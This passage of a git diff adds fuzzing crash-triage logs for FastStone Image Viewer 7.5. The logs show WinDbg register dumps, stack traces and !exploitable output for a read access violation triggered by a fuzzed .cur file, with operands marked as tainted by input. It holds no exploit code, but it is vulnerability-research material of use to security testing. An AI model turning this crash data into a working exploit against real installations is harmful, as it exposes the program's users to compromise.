+0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00361000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00361000 964e2b5a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00361000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e051a5c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D48: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D48: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d48.1ac8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ed7b10 edx=00003879 esi=12738f10 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7403.41 2.81543e-005 -5.01303e-027 1.72985e-032 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002c8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002c8000 66b50a9c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002c8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e051a5c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D48: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D48: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d48.1ac8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ed7b10 edx=00003879 esi=12738f10 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7403.41 2.81543e-005 -5.01303e-027 1.72985e-032 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 